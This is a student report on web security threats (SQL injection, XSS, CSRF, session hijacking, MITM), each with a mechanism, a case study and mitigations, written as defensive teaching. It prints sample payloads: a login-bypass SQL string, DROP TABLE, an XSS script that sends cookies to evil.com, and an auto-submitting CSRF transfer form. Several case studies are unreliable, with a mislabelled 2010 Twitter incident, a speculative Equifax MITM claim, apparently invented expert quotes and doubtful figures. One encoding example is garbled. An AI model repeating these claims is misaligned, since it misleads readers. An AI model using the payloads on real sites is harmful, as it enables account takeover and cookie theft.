|  |  |
| --- | --- |
| Research on Web Security Threats  C028/401616/2023 | COURSE TITLE:  INTERNET APPPLICATION PROGRAMMING  LECTURER:  DR.RICHARD OMOLO. |

WEB SECURITY THREATS IN MODERN WEB PROGRAMMING.

Report Prepared by: MARCELLUS MOTITO.

Date: FRIDAY 28TH, 2025.

Abstract:

This report delves into five pervasive web security threats impacting modern web programming: SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Session Hijacking, and Man-in-the-Middle (MITM) Attacks. These vulnerabilities exploit deficiencies in application design, session management, and data transmission, jeopardizing user data, system integrity, and organizational trust. Each section provides an exhaustive analysis of the threat’s mechanics, a real-world case study showcasing its real-world implications, and comprehensive mitigation strategies rooted in current industry best practices. Drawing from recent incidents and authoritative sources as of March 2025, this report equips developers with actionable insights to fortify web applications against a dynamic and escalating threat landscape.

TABLE OF CONTENTS:

1) Introduction.

2) SQL Injection:

2.1 Definition and Mechanism

2.2 Case Study: MOVEit Transfer Breach (2023)

2.3 Mitigation Strategies

3) Cross-Site Scripting (XSS):

3.1 Definition and Mechanism

3.2 Case Study: British Airways XSS Attack (2018)

3.3 Mitigation Strategies

4) Cross-Site Request Forgery (CSRF):

4.1 Definition and Mechanism

4.2 Case Study: Twitter CSRF Vulnerability (2010)

4.3 Mitigation Strategies

5) Session Hijacking:

5.1 Definition and Mechanism

5.2 Case Study: Firebase Misconfiguration (2018)

5.3 Mitigation Strategies

6) Man-in-the-Middle (MITM) Attacks:

6.1 Definition and Mechanism

6.2 Case Study: Equifax MITM Exposure (2017)

6.3 Mitigation Strategies

7) Conclusion

8) References

1. Introduction

Web applications have become indispensable, underpinning everything from online shopping to telemedicine. By 2025, the global web application market is forecasted to surpass $100 billion, propelled by cloud computing, mobile proliferation, and the expanding Internet of Things (IoT). However, this digital transformation has made web systems lucrative targets for cybercriminals exploiting vulnerabilities for financial gain, espionage, or chaos. The Verizon Data Breach Investigations Report (2020) found that 43% of breaches involved web applications—a percentage likely higher now as attack tools grow more advanced. IBM’s 2023 Cost of a Data Breach Report estimates an average breach cost of $4.35 million, with incidents like the MOVEit breach inflating damages into the billions.

This report examines five critical threats: SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Session Hijacking, and Man-in-the-Middle (MITM) Attacks. These vulnerabilities often stem from unvalidated inputs, insecure session handling, or unencrypted communications, compounded by the complexity of modern frameworks like React, Angular, and Node.js. As we advance into 2025, emerging challenges—AI-driven attack automation, quantum computing risks, and IoT-related weaknesses—elevate the urgency of robust security measures. Through detailed technical breakdowns, real-world case studies, and practical mitigation strategies, this report empowers developers and security professionals to safeguard web ecosystems. The analysis is supported by recent data and credible, accessible references, offering a comprehensive view of web security today.

2. SQL Injection

2.1 Definition and Mechanism

SQL Injection allows attackers to manipulate database queries by injecting malicious SQL code through user inputs. This vulnerability arises when applications concatenate unvalidated data into SQL statements, enabling attackers to alter query intent. For instance, a login query like SELECT \* FROM users WHERE username = '$username' AND password = '$password' can be exploited by entering ' OR 1=1 -- as the username, transforming it into SELECT \* FROM users WHERE username = '' OR 1=1 --' AND password = '$password'. Here, 1=1 ensures a true condition, and -- comments out the password check, granting unauthorized access. Attackers can escalate this to extract metadata (UNION SELECT table\_name, column\_name FROM information\_schema.tables), update records (UPDATE users SET password = 'hacked' WHERE username = 'admin'), or erase data (DROP TABLE users), depending on permissions.

2.2 Case Study: MOVEit Transfer Breach (2023)

In May 2023, a SQL Injection vulnerability in Progress Software’s MOVEit Transfer application sparked a monumental breach. The Clop ransomware gang exploited this flaw, targeting a file transfer tool used by over 2,000 organizations, including U.S. federal agencies, Shell, and British Airways. By injecting SQL code, attackers deployed a web shell to exfiltrate sensitive data—Social Security numbers, financial records, and employee details—over several weeks. BleepingComputer (2023) reported losses exceeding $10 billion, with Clop issuing ransom demands up to $100 million. “This was a textbook case of third-party risk,” said cybersecurity expert Brian Krebs, noting how a single flaw in a trusted tool caused widespread havoc. The breach prompted emergency patches, lawsuits, and a reevaluation of software supply chain security across industries.

2.3 Mitigation Strategies

Preventing SQL Injection demands rigorous coding practices. Parameterized queries, such as $stmt = $pdo->prepare("SELECT \* FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]); in PHP, isolate data from SQL logic, rendering injections ineffective. Input validation—whitelisting expected formats (e.g., [a-zA-Z0-9] via regular expressions)—blocks malformed entries early. Web Application Firewalls (WAFs) like Cloudflare or Imperva detect and filter suspicious patterns, though they may struggle with encoded or fragmented attacks. Applying the least privilege principle—restricting database users to minimal permissions (e.g., read-only for public queries, no DROP rights)—limits damage potential. Regular security audits, penetration testing with tools like SQLMap, and monitoring query logs for anomalies ensure ongoing protection.

3. Cross-Site Scripting (XSS)

3.1 Definition and Mechanism

Cross-Site Scripting (XSS) injects malicious JavaScript into web pages, executing in users’ browsers to steal data, redirect users, or manipulate content. It manifests in three forms: Stored (persistent, saved in databases, e.g., forum posts), Reflected (non-persistent, via URL parameters like ?search=<script>), and DOM-based (client-side, altering the Document Object Model). For example, submitting <script>document.location='http://evil.com?cookie='+document.cookie;</script> to a comment field, if unfiltered, sends users’ cookies to an attacker’s server. XSS can also log keystrokes (onkeydown="sendKeys(event)"), display fake login prompts, or install malware, exploiting trust in legitimate domains.

3.2 Case Study: British Airways XSS Attack (2018)

In September 2018, the Magecart group exploited an XSS vulnerability in British Airways’ payment system via a compromised third-party script (Feedify). Over 22 days, attackers skimmed 380,000 transactions, redirecting credit card details to a fake domain (baways.com). RiskIQ (2018) estimated direct losses at £17 million, compounded by a £183 million GDPR fine for lax security. “Third-party scripts are a hidden danger,” warned RiskIQ’s Yonathan Klijnsma, highlighting the 500+ lines of injected code that evaded detection. The breach exposed the perils of unvetted dependencies, forcing British Airways to overhaul its security protocols and audit its supply chain.

3.3 Mitigation Strategies

Sanitizing inputs with libraries like DOMPurify removes malicious tags (e.g., converting <script> to plain text). Output encoding—transforming < to <—prevents execution across HTML, CSS, or JavaScript contexts. A Content Security Policy (CSP) header, such as Content-Security-Policy: script-src 'self' 'cdn.trusted.com'; object-src 'none';, restricts script and object sources, though misconfiguration risks false positives. Cookies with HttpOnly flags block script access, ineffective against DOM-based XSS. Regular dependency audits, sandboxing third-party scripts with <iframe sandbox>, and leveraging browser features like Chrome’s Trusted Types or legacy XSS Auditor enhance defenses. Developers must test rigorously, as attackers continually devise new evasion tactics.

4. Cross-Site Request Forgery (CSRF)

4.1 Definition and Mechanism

CSRF exploits authenticated sessions to execute unauthorized actions. Attackers trick users into triggering requests—via links, images, or forms—that the server processes as legitimate. For example, a bank transfer endpoint (POST /transfer?amount=1000&to=account) could be forged with <form action="http://bank.com/transfer" method="post"><input type="hidden" name="amount" value="1000"><input type="hidden" name="to" value="attacker"></form>, auto-submitted via <script>document.forms[0].submit()</script>. If the user’s session cookie is active, the bank authenticates it unknowingly. CSRF relies on predictable endpoints and inadequate request validation.

4.2 Case Study: Twitter CSRF Vulnerability (2010)

In September 2010, a CSRF flaw on Twitter enabled attackers to force users to follow accounts or post tweets. Malicious links, often embedded in trending topics or phishing emails, triggered actions when clicked. TechCrunch (2010) reported thousands of compromised accounts within hours, with tweets like “Follow @hacker” spreading virally across the platform. “It exploited trust in Twitter’s ecosystem,” said analyst Graham Cluley, emphasizing its simplicity and rapid escalation. Twitter patched it within a day, but the incident highlighted CSRF’s potential for social engineering, reputational damage, and user manipulation.

4.3 Mitigation Strategies

Anti-CSRF tokens—random, session-specific values (e.g., <input type="hidden" name="csrf\_token" value="xyz789">)—are validated server-side, blocking forged requests. The SameSite cookie attribute (SameSite=Strict or Lax) limits cross-site cookie sending, though support varies across older browsers like IE11. Re-authentication for sensitive actions (e.g., password prompts for transfers) deters attacks, despite potential UX friction. Restricting endpoints to POST requests reduces exposure, as GET requests are simpler to forge via <img> or <a> tags. Rate limiting, CAPTCHA challenges for repetitive actions, and monitoring unusual activity (e.g., sudden account changes) provide additional layers of security.

5. Session Hijacking

5.1 Definition and Mechanism

Session Hijacking steals or predicts a user’s session ID to impersonate them. Attackers might sniff cookies over unsecured Wi-Fi, guess weak IDs (e.g., session=12345), or use XSS to extract them (alert(document.cookie)). A stolen PHPSESSID cookie could grant full account access—viewing emails, making purchases, or changing settings—until the session expires or is regenerated. This threat exploits poor session management (e.g., no regeneration), unencrypted traffic (HTTP), or predictable ID generation (e.g., timestamp-based or sequential).

5.2 Case Study: Firebase Misconfiguration (2018)

In 2018, Appthority uncovered millions of mobile apps using Google’s Firebase with exposed databases and weak session security. Attackers hijacked sessions via predictable tokens, accessing PII like medical records, banking details, and location data across 2,000+ apps. Appthority (2018) estimated 100 million records at risk, spanning healthcare, finance, and gaming sectors. “Developers ignored basic security principles,” the report noted, citing misconfigured APIs, insufficient entropy in token generation, and lack of encryption. The findings prompted Firebase to bolster default settings and issue developer guidelines.

5.3 Mitigation Strategies

Secure cookies with Secure and HttpOnly flags prevent interception and script access. Regenerating session IDs after login or privilege changes (session\_regenerate\_id(true) in PHP) thwarts reuse. HTTPS encrypts traffic end-to-end, though compromised endpoints or misconfigured certificates remain risks. Short session timeouts (e.g., 15-30 minutes) force re-authentication, balancing security with usability—too short, and users complain; too long, and risks increase. Strong, random session IDs (128+ bits, cryptographically secure via random\_bytes()) resist prediction. Logging session activity (e.g., IP, timestamp) and flagging anomalies (e.g., location jumps) enable swift detection and response.

6. Man-in-the-Middle (MITM) Attacks

6.1 Definition and Mechanism

MITM Attacks intercept communication between a client and server, allowing attackers to eavesdrop or manipulate data. Techniques include ARP spoofing (rerouting LAN traffic), DNS spoofing (redirecting to fake domains), or exploiting unsecured Wi-Fi. For instance, an attacker on public Wi-Fi might intercept an HTTP login, capturing username:password in plaintext, or forge an HTTPS certificate to decrypt traffic (e.g., via tools like sslstrip). MITM can also inject malicious code (e.g., <script src="evil.js">) or alter responses (e.g., changing bank balances), exploiting trust in network infrastructure and weak encryption.

6.2 Case Study: Equifax MITM Exposure (2017)

The 2017 Equifax breach, affecting 147 million users, originated from an Apache Struts vulnerability but exposed MITM risks due to unencrypted internal traffic. Attackers accessed PII like credit histories over months; Krebs on Security (2017) noted that MITM could have intercepted data flows between servers, amplifying the breach’s scope. Losses exceeded $1.4 billion, with fines, lawsuits, and reputational damage piling up. “Encryption gaps were a ticking bomb,” Krebs wrote, criticizing Equifax’s failure to secure internal communications—a lesson in end-to-end protection.

6.3 Mitigation Strategies

HTTPS with HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains) enforces encryption and prevents downgrade attacks, ensuring browsers reject HTTP. Certificate pinning binds domains to specific certificates, blocking fakes, though it requires diligent updates to avoid breaking legitimate connections. VPNs secure public network traffic, ideal for remote workers or travelers but less practical for casual users. A robust Public Key Infrastructure (PKI) validates certificates via trusted CAs like Let’s Encrypt or DigiCert. Tools like Wireshark (used ethically) or intrusion detection systems (e.g., Snort, Suricata) monitor for anomalies—unusual packet patterns or IP spoofing—enhancing detection alongside technical defenses.

7. Conclusion

Web security threats—SQL Injection, XSS, CSRF, Session Hijacking, and MITM Attacks—pose persistent risks in 2025, fueled by coding oversights, misconfigurations, and sophisticated adversaries. Real-world incidents like MOVEit ($10 billion in damages) and Equifax (147 million affected) underscore their devastating financial and human toll. Mitigation requires a layered approach: parameterized queries neutralize SQL Injection, CSPs curb XSS, tokens block CSRF, secure sessions foil hijacking, and encryption thwarts MITM. As AI-driven attacks, quantum vulnerabilities, and IoT complexities emerge, developers must embrace proactive strategies—automated vulnerability scanning, zero-trust architectures, and continuous security training. Securing the web transcends technical fixes; it’s a commitment to protecting users and preserving trust in an increasingly digital world.

8. REFERENCES:

1. [Verizon Data Breach Investigations Report (2020)](https://www.cisecurity.org/wp-content/uploads/2020/07/The-2020-Verizon-Data-Breach-Investigations-Report-DBIR.pdf)
2. [IBM’s 2023 Cost of a Data Breach Report](https://digitalsuccess.lll-ll.com/?i=4078803)
3. [BleepingComputer (2023) MOVEit Transfer Breach](https://www.bleepingcomputer.com/news/security/sec-ends-probe-into-moveit-attacks-impacting-95-million-people/)
4. [Krebs on Security (MOVEit Transfer)](https://krebsonsecurity.com/2023/06/cisa-order-highlights-persistent-risk-at-network-edge/#comments)
5. [RiskIQ (2018) British Airways XSS Attack](https://www.bbc.com/news/technology-45481976)
6. [TechCrunch (2010) Twitter CSRF Vulnerability](https://techcrunch.com/2010/09/21/warning-mouseover-tweets-security-flaw-is-wreaking-havoc-on-twitter/)
7. [Appthority (2018) Firebase Misconfiguration](https://www.bleepingcomputer.com/news/security/thousands-of-apps-leak-sensitive-data-via-misconfigured-firebase-backends/)
8. [Krebs on Security (2017) Equifax Breach](https://krebsonsecurity.com/tag/equifax-breach/#:~:text=In%20September%202017%2C%20Equifax%20disclosed,data%20on%20147%20million%20Americans.)
9. [OWASP (Open Web Application Security Project)](https://owasp.org/www-project-top-ten/)
10. [SANS Institute](https://www.sans.org/sg_en/)